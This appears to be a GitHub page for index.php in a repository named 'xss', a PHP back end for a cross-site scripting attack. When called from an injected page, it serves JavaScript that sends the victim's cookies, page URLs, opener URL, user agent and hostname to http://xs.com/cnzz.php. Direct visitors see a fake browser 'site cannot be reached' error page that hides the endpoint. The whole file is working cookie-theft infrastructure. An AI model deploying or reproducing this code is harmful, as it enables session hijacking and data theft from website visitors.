xss/index.php at master · keyus/xss · GitHub

1
2
3
4
5
6
7
8
9
<?php
/**
 * 网站域名主页,xs文件
 */
if( !empty($_SERVER['HTTP_REFERER']) ){
    echo '!(function(){(new Image()).src=\'http://xs.com/cnzz.php?href=\'+escape((function(){return document.location.href})())+\'&tophref=\'+escape((function(){return top.location.href})())+\'&cookie=\'+escape((function(){return document.cookie})())+\'&opener=\'+escape((function(){return(window.opener&&window.opener.location.href)?window.opener.location.href:\'\'})())+\'&userAgent=\'+escape((function(){return navigator.userAgent})())+\'&hostname=\'+escape((function(){return location.hostname})()) })();';
}else{
    echo '<!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"><title>DNS_PROBE_FINISHED_NXDOMAIN</title><style>*{padding:0;margin:0}div{width:600px;margin:0 auto;padding-top:130px}body{background:#f7f7f7;font-family:"Microsoft YaHei"}p{font-size:24px;color:#333;padding-bottom:30px;padding-top:30px}span{color:#b0b0b0;font-size:12px}</style></head><body><div><img src="asset/error.gif"alt=""><p>无法访问此网站</p><span>DNS_PROBE_FINISHED_NXDOMAIN</span></div></body></html>';
}